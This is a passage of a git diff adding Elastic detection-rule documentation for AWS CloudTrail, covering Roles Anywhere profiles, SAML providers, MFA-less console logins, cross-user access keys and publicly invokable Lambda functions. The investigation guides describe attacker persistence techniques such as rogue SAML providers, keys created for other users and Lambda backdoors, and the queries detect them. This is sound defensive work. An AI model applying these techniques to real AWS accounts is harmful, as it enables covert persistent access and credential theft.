+* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/rolesanywhere/latest/userguide/introduction.html +* https://docs.datadoghq.com/security/default_rules/cloudtrail-aws-iam-roles-anywhere-trust-anchor-created/ +* https://ermetic.com/blog/aws/keep-your-iam-users-close-keep-your-third-parties-even-closer-part-1/ +* https://docs.aws.amazon.com/rolesanywhere/latest/APIReference/API_CreateProfile.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Roles Anywhere Profile Creation* + + +AWS IAM Roles Anywhere allows external workloads — such as CI/CD runners, on-premises systems, or third-party services — +to assume IAM roles securely by presenting a certificate from a trusted anchor. A profile defines the IAM roles that +can be assumed, the trust anchor they are associated with, and session duration limits. + +This rule detects when a new Roles Anywhere profile is created using the `CreateProfile` API call. Unauthorized profile +creation can enable persistent external access if tied to over-privileged roles or to trust anchors associated with +unauthorized certificate authorities (CAs). Monitoring profile creation is crucial to ensuring that only approved roles +and anchors are in use. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine + which IAM user, role, or principal created the profile. + - Check whether this identity normally manages Roles Anywhere configurations. + +- **Review profile configuration** + - Inspect `aws.cloudtrail.request_parameters` for key values such as: + - `profileName` + - `roleArns` – confirm that the listed IAM roles are expected and not overly permissive. + - `trustAnchorArn` – verify the trust anchor is valid and authorized. + - `durationSeconds` – check for unusually long session durations. + - Determine if multiple roles were attached, which may indicate excessive privilege aggregation. + +- **Correlate related activity** + - Check for prior or concurrent events by the same actor, including: + - `CreateTrustAnchor` with external or unauthorized certificate authorities. + - `CreateRole`, `PutRolePolicy`, or `AttachRolePolicy` for privilege escalation paths. + - Review whether subsequent `AssumeRoleWithCertificate` events occurred, indicating use of the new profile. + +- **Assess the source context** + - Investigate `source.ip`, `user_agent.original`, and `source.geo` fields to identify if this request originated from an unfamiliar host, region, or automation client (e.g., `boto3`, `curl`, custom SDKs). + - Compare to baseline patterns of legitimate IAM or infrastructure automation. + +- **Validate legitimacy** + - Contact the responsible team (e.g., platform, PKI, or IAM administration) to confirm whether this profile creation + aligns with approved change management or onboarding activities. + + + +*False positive analysis:* + + +- **Legitimate administrative actions** + - IAM or PKI engineers may legitimately create profiles during setup of new external integrations or workloads. + Validate against change control records and deployment logs. +- **Authorized automation** + - Infrastructure-as-code (IaC) pipelines (Terraform, CloudFormation, etc.) may automatically create profiles. + Confirm these operations are sourced from known automation accounts or IP ranges. +- **Development and testing** + - Lab or sandbox accounts may test Roles Anywhere configurations with less restrictive controls. + Ensure alerts from non-production accounts are tuned accordingly. + + +*Response and remediation:* + + +- **Immediate review and containment** + - If unauthorized, disable or delete the created profile (`aws rolesanywhere delete-profile`) and review all + associated IAM roles for misuse. + - Rotate any credentials or revoke certificates issued from unapproved trust anchors. + +- **Investigation** + - Search CloudTrail for additional related actions by the same identity, such as + `CreateTrustAnchor`, `AssumeRoleWithCertificate`, or cross-account access attempts. + - Verify whether any sessions have been initiated using the new profile and identify + which roles were assumed. + +- **Recovery and hardening** + - Restrict `rolesanywhere:CreateProfile` to a small set of administrative roles. + - Implement AWS Config or Security Hub controls to alert on unauthorized or overly + permissive Roles Anywhere profiles. + - Audit IAM role trust policies linked to external anchors and ensure adherence to the + principle of least privilege. + - Review and document all approved Roles Anywhere profiles and their corresponding trust anchors. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: rolesanywhere.amazonaws.com + and event.action: CreateProfile + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-iam-saml-provider-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-iam-saml-provider-created.asciidoc new file mode 100644 index 0000000000..4be473710c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-iam-saml-provider-created.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-28-aws-iam-saml-provider-created]] +=== AWS IAM SAML Provider Created + +Detects the creation of a new SAML Identity Provider (IdP) in AWS IAM. SAML providers enable federated authentication between AWS and external identity providers, allowing users to access AWS resources using credentials from the external IdP. Adversaries who have gained administrative access may create rogue SAML providers to establish persistent, federated access to AWS accounts that survives credential rotation. This technique allows attackers to assume roles and access resources by forging SAML assertions from an IdP they control. Creating a SAML provider is a rare administrative action that should be closely monitored and validated against authorized infrastructure changes. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateSAMLProvider.html +* https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_saml.html +* https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM SAML Provider Created* + + +SAML (Security Assertion Markup Language) providers in AWS IAM enable federated authentication, allowing users from external identity providers to access AWS resources without separate AWS credentials. Creating a SAML provider establishes a trust relationship between AWS and the external IdP. + +This rule detects successful `CreateSAMLProvider` API calls. In most environments, SAML provider creation is extremely rare—typically only occurring during initial SSO setup or major infrastructure changes. An unauthorized SAML provider creation could enable an attacker to maintain persistent access by forging SAML assertions from an IdP they control. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` to determine who created the SAML provider. + - Verify whether this principal is authorized to manage identity federation. + +- **Review the SAML provider details** + - Examine `aws.cloudtrail.request_parameters` for the SAML provider name and metadata document. + - Identify the external IdP URL and signing certificate in the metadata. + +- **Validate business justification** + - Confirm with identity management or platform teams whether this aligns with planned SSO integration. + - Check for related change tickets or infrastructure-as-code deployments. + +- **Check for follow-on activity** + - Search for `CreateRole` or `UpdateAssumeRolePolicy` calls that reference the new SAML provider. + - Look for `AssumeRoleWithSAML` calls using the newly created provider. + +- **Correlate with other suspicious activity** + - Check for preceding privilege escalation or credential access events. + - Look for other persistence mechanisms being established concurrently. + + +*False positive analysis* + + +- **Planned SSO integration** + - SAML providers are created during initial setup of identity federation with Okta, Azure AD, or other IdPs. + - Validate against documented SSO integration projects. + +- **Infrastructure-as-code deployments** + - Terraform, CloudFormation, or other IaC tools may create SAML providers as part of automated deployments. + - Confirm via CI/CD logs. + + +*Response and remediation* + + +- **Immediate containment** + - If unauthorized, delete the SAML provider using `DeleteSAMLProvider`. + - Review and remove any IAM roles that trust the rogue provider. + +- **Investigation** + - Audit CloudTrail for any `AssumeRoleWithSAML` calls using this provider. + - Review all IAM roles with SAML trust relationships. + +- **Hardening** + - Restrict `iam:CreateSAMLProvider` permissions to a limited set of administrative roles. + - Implement SCPs to control SAML provider creation in member accounts. + - Enable AWS Config rules to monitor identity provider configurations. + + +*Additional information* + +- **https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_saml.html[AWS IAM SAML Providers Documentation]** +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "iam.amazonaws.com" + and event.action: "CreateSAMLProvider" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-iam-user-console-login-without-mfa.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-iam-user-console-login-without-mfa.asciidoc new file mode 100644 index 0000000000..ca5a2b1060 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-iam-user-console-login-without-mfa.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-28-aws-iam-user-console-login-without-mfa]] +=== AWS IAM User Console Login Without MFA + +Identifies the first observed occurrence, within the configured New Terms history window, of a regular IAM user successfully signing in to the AWS Management Console without multi-factor authentication. A password alone is a weaker control than password-plus-MFA, and an adversary who has phished, guessed, or otherwise obtained a user's password can sign in directly if MFA is not enforced for that user. This rule is scoped to standard IAM users only; it excludes the AWS root user (covered by a dedicated rule) and federated/SSO sign-ins (covered by a dedicated rule that also accounts for IdP-side MFA), since MFAUsed: No is expected in both of those cases for reasons unrelated to this gap. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa.html +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.initial-access.console-login-without-mfa/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Sign-In +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM User Console Login Without MFA* + + +This rule identifies a standard IAM user (not root, not a federated/SSO sign-in) successfully signing in to the AWS +Management Console where CloudTrail's `additionalEventData.MFAUsed` field is `No`. A username and password are +comparatively easy for an adversary to obtain through phishing, credential stuffing, or password reuse; MFA is the +control that prevents a stolen password alone from granting console access. + +This is a https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule[New Terms] +rule and fires the first time each `user.id` is observed signing in without MFA within the configured history window (7d). + + +*Possible investigation steps* + + +- **Confirm MFA enrollment status**: check whether the user has an MFA device registered at all. If not, this may + simply reflect that MFA is not yet enforced for this user rather than an active compromise. +- **Review source context**: check `source.ip`, `source.geo`, and `user_agent.original` for anomalies relative to the + user's normal sign-in pattern. +- **Correlate with recent credential exposure**: check for recent password resets, phishing reports, or leaked + credential alerts involving this user. +- **Review post-login activity**: examine what the user did in the console session immediately following sign-in for + any unusual or high-privilege actions. + + +*False positive analysis* + + +- Environments without a blanket MFA enforcement policy will see this for every user's first sign-in. Use this rule + to drive MFA adoption; if MFA is not currently mandated, treat repeated occurrences as a posture gap rather than an + incident, and consider excluding known-legacy or service-adjacent IAM users that cannot use MFA. + + +*Response and remediation* + + +- If this sign-in is unexpected or the source is anomalous, treat the user's credentials as potentially compromised: + force a password reset and review recent console/API activity for the account. +- Enforce MFA for all IAM users capable of console access, via IAM policy conditions (`aws:MultiFactorAuthPresent`) or + an SCP, and prioritize enrolling any user identified by this rule. +- Consider moving console access to federated/SSO sign-in with IdP-enforced MFA rather than IAM user passwords. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "signin.amazonaws.com" + and event.action: "ConsoleLogin" + and event.outcome: "success" + and aws.cloudtrail.user_identity.type: "IAMUser" + and aws.cloudtrail.console_login.additional_eventdata.mfa_used: false + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-iam-user-created-access-keys-for-another-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-iam-user-created-access-keys-for-another-user.asciidoc new file mode 100644 index 0000000000..a26e93d4cf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-iam-user-created-access-keys-for-another-user.asciidoc @@ -0,0 +1,205 @@ +[[prebuilt-rule-8-19-28-aws-iam-user-created-access-keys-for-another-user]] +=== AWS IAM User Created Access Keys For Another User + +An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by creating a new set of credentials for an existing user. This rule looks for use of the IAM `CreateAccessKey` API operation to create new programmatic access keys for another IAM user. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iamcreateaccesskey +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence +* https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateAccessKey.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 14 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM User Created Access Keys For Another User* + + +AWS IAM access keys are long-term credentials that grant programmatic access to AWS resources. The `iam:CreateAccessKey` permission allows an IAM principal to generate new access keys for an existing IAM user. +While this operation can be legitimate (for example, credential rotation), it can also be abused to establish persistence or privilege escalation if one user creates keys for another account without authorization. + +This rule identifies `CreateAccessKey` API calls where the calling user (`aws.cloudtrail.user_identity.arn`) differs from the target user (`aws.cloudtrail.request_parameters.userName`), indicating one IAM identity creating credentials for another. + + +*Possible investigation steps* + + +- **Confirm both user identities and intent.** + Identify the calling user (who performed `CreateAccessKey`) and the target user (whose access key was created). Contact both account owners or application teams to confirm if this operation was expected. + +- **Review CloudTrail event details.** + Check the following fields directly in the alert or corresponding CloudTrail record: + - `source.ip` — does it align with expected corporate ranges or known admin automation? + - `user_agent.original` — AWS Console, CLI, SDK, or custom client? Unexpected user agents (for example, non-SDK scripts) may indicate manual or unauthorized use. + - `source.geo` fields — verify the location details are expected for the identity. + +- **Correlate with related IAM activity.** + In CloudTrail, search for subsequent or nearby events such as: + - `AttachUserPolicy`, `AttachGroupPolicy`, `UpdateAssumeRolePolicy`, or `CreateUser`. + These can indicate privilege escalation or lateral movement. + Also review whether the same principal recently performed `CreateAccessKey` for multiple users or repeated this action across accounts. + +- **Inspect the new access key’s usage.** + Search for the newly created key ID (`aws.cloudtrail.response_elements.accessKey.accessKeyId`) in CloudTrail events following creation. Determine if it was used from unusual IP addresses, geographies, or services. + +- **Assess the risk of credential compromise.** + If you suspect malicious behavior, consider the following indicators: + - A non-admin user invoking `CreateAccessKey` for another user. + - Creation outside of normal automation pipelines. + - Use of the new key from a different IP or AWS account soon after creation. + +- **Scope related activity.** + Review all activity from the calling user in the past 24–48 hours, focusing on `iam:*` API calls and resource creation events. + Correlate any S3, EC2, or KMS access attempts made using the new key to identify potential impact or data exposure. + + +*False positive analysis* + + +- **Expected credential rotation.** + Some environments delegate credential rotation responsibilities to centralized automation or specific admin roles. Confirm if the calling user is authorized for such actions. +- **Administrative workflows.** + Account provisioning systems may legitimately create keys on behalf of users. Check for standard tags, automation tools, or user agents that indicate managed operations. +- **Service-linked roles or external IAM automation.** + Some AWS services create or rotate credentials automatically. Validate if the caller is a service-linked role or an automation IAM role used by a known deployment process. + + +*Response and remediation* + + +**Immediate containment** +- Deactivate or delete the access key from the target IAM user immediately using the AWS Console, CLI, or API (`DeleteAccessKey`). +- Rotate or reset credentials for both the calling and target users to eliminate possible compromise. +- Restrict risky principals. Temporarily deny `iam:CreateAccessKey` and `iam:UpdateAccessKey` permissions for non-administrative roles while scoping the incident. +- Enable or confirm MFA on both accounts involved, if not already enforced. + +**Evidence preservation** +- Export all related `CreateAccessKey`, `DeleteAccessKey`, and `UpdateAccessKey` events within ±30 minutes of the alert to an evidence bucket. +- Preserve CloudTrail, GuardDuty, and AWS Config data for the same period. +- Record key event details: caller ARN, target user, `accessKeyId`, `source.ip`, `userAgent`, and timestamps. + +**Scoping and investigation** +- Search CloudTrail for usage of the new access key ID after creation. Identify any API activity or data access tied to it. +- Review IAM policy changes, group modifications, or new role assumptions around the same time. +- Determine if any additional credentials or trust policy changes were made by the same actor. +- Check for GuardDuty findings referencing anomalous credential usage or suspicious API behavior. + +**Recovery and hardening** +- Remove or disable any unauthorized keys and re-enable only verified credentials. +- Implement least-privilege IAM policies to limit which users can perform `CreateAccessKey`. +- Monitor for future `CreateAccessKey` events where `userIdentity.arn != request_parameters.userName`. +- Ensure Cloudtrail, GuardDuty and Security Hub are active across all regions. +- Educate administrative users on secure key rotation processes and the risk of cross-user key creation. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]:** Reference “Credential Compromise” and “IAM Misuse” procedures for containment and recovery. +- **https://github.com/aws-samples/aws-customer-playbook-framework/[AWS Customer Playbook Framework]:** See “Identity Access Review” and “Unauthorized Access Key Creation” for example response flows. +- **AWS Documentation:** https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_access-keys.html[Best practices for managing access keys]. +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws.cloudtrail-* metadata _id, _version, _index +| where data_stream.dataset == "aws.cloudtrail" + and event.provider == "iam.amazonaws.com" + and event.action == "CreateAccessKey" + and event.outcome == "success" + and user.name != user.target.name +| keep + @timestamp, + cloud.account.id, + cloud.region, + event.provider, + event.action, + event.outcome, + data_stream.dataset, + user.name, + source.address, + source.ip, + user.target.name, + user_agent.original, + aws.cloudtrail.request_parameters, + aws.cloudtrail.response_elements, + aws.cloudtrail.user_identity.arn, + aws.cloudtrail.user_identity.type, + aws.cloudtrail.user_identity.access_key_id, + source.geo.*, + _id, + _version, + _index + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-lambda-function-policy-updated-to-allow-public-invocation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-lambda-function-policy-updated-to-allow-public-invocation.asciidoc new file mode 100644 index 0000000000..73eea4582e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-lambda-function-policy-updated-to-allow-public-invocation.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-28-aws-lambda-function-policy-updated-to-allow-public-invocation]] +=== AWS Lambda Function Policy Updated to Allow Public Invocation + +Identifies when an AWS Lambda function policy is updated to allow public invocation. This rule detects use of the AddPermission API where the Principal is set to "*", enabling any AWS account to invoke the function. Adversaries may abuse this configuration to establish persistence, create a covert execution path, or operate a function as an unauthenticated backdoor. Public invocation is rarely required outside very specific workloads and should be considered high-risk when performed unexpectedly. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.persistence.lambda-backdoor-function/ +* https://docs.aws.amazon.com/lambda/latest/api/API_AddPermission.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Lambda +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Lambda Function Policy Updated to Allow Public Invocation* + + +AWS Lambda policies control who can invoke a function. When the `Principal` is set to `*`, the function becomes publicly invokable by any AWS account. Adversaries may modify Lambda permissions to create a stealthy execution backdoor or to maintain persistence inside an AWS environment. This activity is uncommon in most production environments and should receive careful scrutiny when detected. + + +*Possible investigation steps* + + +**Identify the actor** +- Identify the actor who made the change by reviewing `aws.cloudtrail.user_identity.arn` and access key ID. Determine whether this principal typically administers Lambda functions. + +**Review request details** +- Review request details in `aws.cloudtrail.request_parameters` to understand the exact permission added: + - Confirm that the `Principal` is set to `"*"`. + - Note the `Action` (`lambda:InvokeFunction`) and any `SourceArn` restrictions (sometimes present, often missing in malicious cases). + +**Analyze source context** +- Check the source of the request using `source.ip`, geo information, and user agent. Unexpected networks, automation tools, or CLI usage may indicate credential compromise. + +**Correlate timing and related events** +- Evaluate timing and sequence by correlating `@timestamp` with other events. Look for surrounding actions such as: + - Creation or update of Lambda function code. + - Publishing new Lambda layers. + - Changes to roles attached to the function. + +**Assess function sensitivity and impact** +- Assess the function’s role and data sensitivity. Determine whether public invocation could: + - Enable unmonitored code execution, + - Trigger access to internal resources via the function’s IAM role, + - Be chained with persistence or privilege escalation behavior. + +**Validate operational intent** +- Validate the operational context. Confirm with the function owner whether the permission change was intentional, part of a deployment, or unexpected. + + +*False positive analysis* + + +- Public invocation may be intentional for certain workloads (e.g., webhook handlers, openly accessible compute functions). Compare the event with documentation, IaC templates, or the deployment pipeline. +- Some teams may regularly modify permissions during testing or refactoring; check whether this aligns with existing workflows. +- Evaluate whether the function already had permissive invocation policies and whether the update is part of expected configuration drift. + + +*Response and remediation* + + +- Remove unauthorized public invocation permissions immediately by reverting the Lambda function policy to the approved baseline. +- Investigate for follow-on activity: execution of the function, updates to code, modifications to IAM roles, or API calls issued using the function's role. +- Rotate or disable credentials associated with the identity that issued the `AddPermission` call if compromise is suspected. +- Enable or refine monitoring for Lambda policy updates, layer additions, and code changes to detect future unauthorized modifications. +- Conduct a security review of the Lambda function and any downstream resources it can access to ensure no misuse has occurred. +- Work with the application team to enforce least-privilege invocation policies and deploy guardrails (e.g., SCPs, IAM Conditions, or automated compliance checks) preventing public invocation unless explicitly authorized. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +info where data_stream.dataset == "aws.cloudtrail" + and event.provider == "lambda.amazonaws.com" + and event.outcome == "success" + and event.action : "AddPermission*" + and stringContains(aws.cloudtrail.request_parameters, "lambda:InvokeFunction") + and stringContains(aws.cloudtrail.request_parameters, "principal=\\*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-lambda-function-url-created-with-public-access.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-lambda-function-url-created-with-public-access.asciidoc new file mode 100644 index 0000000000..369c901eeb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-lambda-function-url-created-with-public-access.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-28-aws-lambda-function-url-created-with-public-access]] +=== AWS Lambda Function URL Created with Public Access + +Identifies the creation or update of an AWS Lambda function URL configured with an authentication type of NONE, which exposes the function to unauthenticated invocation directly from the public internet. Adversaries can use a public function URL to establish a durable, internet-reachable entry point for command and control, data egress, or on-demand execution of attacker-controlled code, bypassing the need for valid AWS credentials to invoke the function. Function URLs with public access should be rare and deliberate, so this configuration warrants review. + +*Rule type*: eql + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/lambda/latest/dg/lambda-urls.html +* https://docs.aws.amazon.com/lambda/latest/dg/urls-auth.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Lambda +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Lambda Function URL Created with Public Access* + + +A Lambda function URL is a dedicated HTTPS endpoint for a function. When configured with `authType=NONE`, anyone on the internet can invoke the function without AWS authentication. Adversaries use this to create a public, persistent entry point for command and control, data exfiltration, or running 